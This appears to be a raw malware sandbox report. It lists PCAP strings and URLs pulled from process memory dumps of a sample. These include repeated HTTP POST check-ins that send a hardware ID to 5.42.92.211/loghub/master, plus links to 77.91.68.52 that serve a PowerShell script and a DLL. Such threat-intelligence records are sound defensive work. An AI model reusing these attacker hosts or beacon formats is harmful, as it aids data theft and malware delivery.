"\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\APPLAUNCH.INI" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\assembly\GAC\PUBLISHERPOLICY.TME"50:T766,Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=8AtwSSBFIiAlBPfGJgHFContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--8AtwSSBFIiAlBPfGJgHFContent-Disposition: form-data; name="hwid"RjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==--8AtwSSBFIiAlBPfGJgHFContent-Disposition: form-data; name="build"aHVybWE=--8AtwSSBFIiAlBPfGJgHF--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=EeOXUP5OVc8BrfAmxQ17Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--EeOXUP5OVc8BrfAmxQ17Content-Disposition: form-data; name="hwid"RjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==--EeOXUP5OVc8BrfAmxQ17Content-Disposition: form-data; name="build"aHVybWE=--EeOXUP5OVc8BrfAmxQ17--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=CpPm0EuPveEGjuMgSYamContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--CpPm0EuPveEGjuMgSYamContent-Disposition: form-data; name="hwid"RjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==--CpPm0EuPveEGjuMgSYamContent-Disposition: form-data; name="build"aHVybWE=--CpPm0EuPveEGjuMgSYam--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=lI306QK0SbeQ4Lz6cqC8Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--lI306QK0SbeQ4Lz6cqC8Content-Disposition: form-data; name="hwid"RjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==--lI306QK0SbeQ4Lz6cqC8Content-Disposition: form-data; name="build"aHVybWE=--lI306QK0SbeQ4Lz6cqC8--"; File: "PCAP")51:T6b4,Pattern match: "https://accounts.google.com/" Heuristic match: "Vjv.aE" Heuristic match: "f{`.na" Heuristic match: "r?.KP" Heuristic match: "ze.pF" Heuristic match: "JW.Tj" Heuristic match: "#q.PH" Pattern match: "PjVW-PjWW.PjRW/PjSWHPjPWLPjQW" Pattern match: "https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE53r3l?ver=5412,PORTRAIT:https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE53bta?ver=2bf3,update_period:86400},creativeId:128000000003595" Pattern match: "http://5.42.92.211/2023-09-28" Heuristic match: "accounts.google.com" Heuristic match: "+*.sM" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.Yzaam08mEAs.L.B1.O/am=DoCRE48NgPhPE-fvGSeHAQAAAAAAAAAA1kB2/d=1/ed=1/rs=AOaEmlGEUpIifLd-g6-5d2rGtxP4M6Ewmw/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.XCHOJI6Wf1s.es5.O/am=DoCRE48NgPhPE-fvGSeHAQAAAAAAAAAA1kB2/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlG6KrcgBpUbIBacQ3KL7PjBWiZbGQ/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "http://www.w3.org/2001/XMLSchema-instance" Heuristic match: "tX.bY"52:T8683,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002448.00000000.70919.035A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002596.00000000.72200.00C60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002596.00000001.74118.00C60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002672.00000000.70022.00460000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002904.00000000.71280.02D40000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002904.00000001.73200.02D40000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002904.00000002.75120.02D40000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003704.00000000.76627.03070000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004184.00000000.72316.02AF0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004764.00000000.76182.00720000.00000004.mdmp") Found URL "http://5.42.92.211/loghub/masterf0c5370e816e2397711946" - Source: "00000000-00004764.00000000.76182.00E93000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005480.00000000.72453.00790000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005548.00000000.71795.02E30000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005548.00000001.73715.02E30000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005548.00000002.75633.02E30000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005900.00000000.73076.02DB0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005900.00000001.74994.02DB0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportthreatsdefenderpynetdefenderscansyste18022.12.17007.18022isableantivirusdmsubscriberidsefenderroductrelativepathrotereviousrunningmodedefehreatfilehashloggingupportlogeventidsdows" - Source: "00000000-00005900.00000001.74994.098F0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005900.00000001.74994.72281000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005900.00000001.74994.72281000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005900.00000001.74994.72281000.00000020.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005900.00000001.74994.72321000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006232.00000000.72075.00B50000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006404.00000000.71870.02870000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006404.00000001.73790.02870000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006404.00000002.75709.02870000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006644.00000000.72514.008F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006644.00000001.74435.008F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0^k*y-g&ui\l!listlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistlistasrc-bd.find-putsigneddatamsgp7xsipputsigneddatamsgessmlhistorydecodeexesdsipputsignatureldapprovopenstoremsisipputsigneddatamsgesscontenthintdecodeexputsigneddatamsgldapprovopenstoreessreceiptdecodeexmicrosoft" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcsxsrzysr[bsr@thawte," - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ewsruglobalsign" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;2.16.840.1.113730.1.1cth" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006644.00000001.74435.009CB000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1@h$r0h$rph$rx!ftq[t" - Source: "00000000-00006644.00000001.74435.00BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=397631&clcid=0x409'$script:psgallerypublishuri" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=397527&clcid=0x409'$script:psgalleryscriptsourceuri" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=622995&clcid=0x409'" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=528403&clcid=0x409'$script:psgalleryv2apiavailable" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=698608'$script:nugetprovidername" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://nuget.org/nuget.exe'$script:nugetclientsourceurl" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=690216&clcid=0x409'$script:nugetexename" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=398575'," - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=398574')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=531351'," - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=398573'," - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=398576')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526864')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526863')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=517196')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=733636')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=718029')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619788')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619785')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619786'," - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619784'," - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619787')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619789')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619790')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=517129')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=517128')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=517130')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=517127')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://contoso.com/license.projecturi" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://contoso.com/.iconuri" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://contoso.com/icon.externalmoduledependencies" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619791')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://contoso.com/license" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://contoso.com/" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://contoso.com/icon" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619792')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619793')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "http://nuget.org/nuget.exe" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=619311')]" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "http://msdn.microsoft.com/en-us/library/yfsftwz6.aspx" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema" - Source: "00000000-00006644.00000001.74435.05B60000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fmnhttp://www.micros1httrsa15vdezrsa1$vkt5vdezwashington1redmond1microsoft" - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0ysr[zsrxq]anonymously" - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00006644.00000001.74435.07150000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006644.00000001.74435.080B0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdowsmicrosoft" - Source: "00000000-00006644.00000001.74435.08EC0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1" - Source: "00000000-00006644.00000001.74435.08EC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006644.00000001.74435.08EC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0(vyv" - Source: "00000000-00006644.00000001.74435.72321000.00000020.mdmp") Found URL "http://www.bing.com/ubwscortana_cw5n1h2txyewy\ac\micros145574-clsid\" - Source: "00000000-00006964.00000000.70858.031F0000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phplmemhttp://77.91.68.52/mac/index.phplmemlmem\l" - Source: "00000000-00006964.00000000.70858.031F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006964.00000000.70858.031F0000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phpm^p8*lmem\l" - Source: "00000000-00006964.00000001.72778.031F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006964.00000001.72778.031F0000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpnegotiatenegoextenderkerberosntlmtsssppku2uschannelm32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\program" - Source: "00000000-00006964.00000001.72778.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpal\microsoft\windows\inetcache\ie\t1mm1x3a\kus[1].exe2:20bb:1cde:3f57:e88b+ncalrpc:[oleee6441d343ecc01e1b74b2d6692b]t" - Source: "00000000-00006964.00000001.72778.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpregistry\user\s-1-5-21-735145574-3570218355-1207367261-1001_classes\wow6432node\clsid\" - Source: "00000000-00006964.00000001.72778.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpthxvfp>*ep" - Source: "00000000-00006964.00000001.72778.03227000.00000004.mdmp") Found URL "http://77.91.68.52/fuza/1.ps1av://7http://77.91.68.52/fuza/1.ps1[xlh'av1/c:\usershapubws3d" - Source: "00000000-00006964.00000001.72778.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpmty&jp%*/c:\usershapubwsappdatalocal00000/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocalqs" - Source: "00000000-00006964.00000001.72778.03227000.00000004.mdmp") Found URL "https://accounts.google.com/'" - Source: "00000000-00006964.00000001.72778.03227000.00000004.mdmp") Found URL "https://accounts.google.com/" - Source: "00000000-00006964.00000001.72778.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phphttp://77.91.68.52/mac/index.phpm^p8*lmem\l" - Source: "00000000-00006964.00000002.74696.031F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006964.00000002.74696.031F0000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpnegotiatenegoextenderkerberosntlmtsssppku2uschannelm32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\program" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.php/mac/index.phpal\microsoft\windows\inetcache\ie\t1mm1x3a\kus[1].exe2:20bb:1cde:3f57:e88b+ncalrpc:[oleee6441d343ecc01e1b74b2d6692b]t" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpttp://77.91.68.52/mac/index.phpttp://77.91.68.52/mac/index.phpmonproxystub.dllttp://77.91.68.52/mac/index.phpttp://77.91.68.52/mac/index.phpttp://77.91.68.52/mac/index.phpmonproxystub.dllttp://77.91.68.52/mac/index.phpmonproxystub.dllttp://77.91.68.52/mac/index.phpttp://77.91.68.52/mac/index.php\?\volume" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phprogramfilescommonx86serprogramfilescommonserslibrariesfolderrpc-24fcf2b3b46ff79df4rpc-24fcf2b3b46ff79df4rpc-24fcf2b3b46ff79df4rpc-24fcf2b3b46ff79df4rpc-24fcf2b3b46ff79df4rpc-24fcf2b3b46ff79df4avedpictureslibrarymac/plugins/clip64.dllrpc-24fcf2b3b46ff79df4rpc-24fcf2b3b46ff79df4onecoreuapcommonproxystub.dllwindows.staterepositoryps.dllnedrivedocumentsnedrivecamerarollonnectionsfolderideos.library-msusic.library-msppdatadocumentsecyclebinfolderyncresultsfolder:" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpthxvfp>*ep" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "http://77.91.68.52/fuza/1.ps1av://7http://77.91.68.52/fuza/1.ps1[xlh'av1/c:\usershapubws3d" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "http://77.91.68.52/mac/index.phpmty&jp%*/c:\usershapubwsappdatalocal00000/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocal/c:\usershapubwsappdatalocalqs" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "http://77.91.68.52/meowpver./s9gai" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "https://accounts.google.com/'" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "https://accounts.google.com/" - Source: "00000000-00006964.00000002.74696.03227000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007196.00000000.72084.00A80000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007196.00000001.74003.00A80000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007196.00000002.75924.00A80000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007228.00000000.70062.00430000.00000004.mdmp") 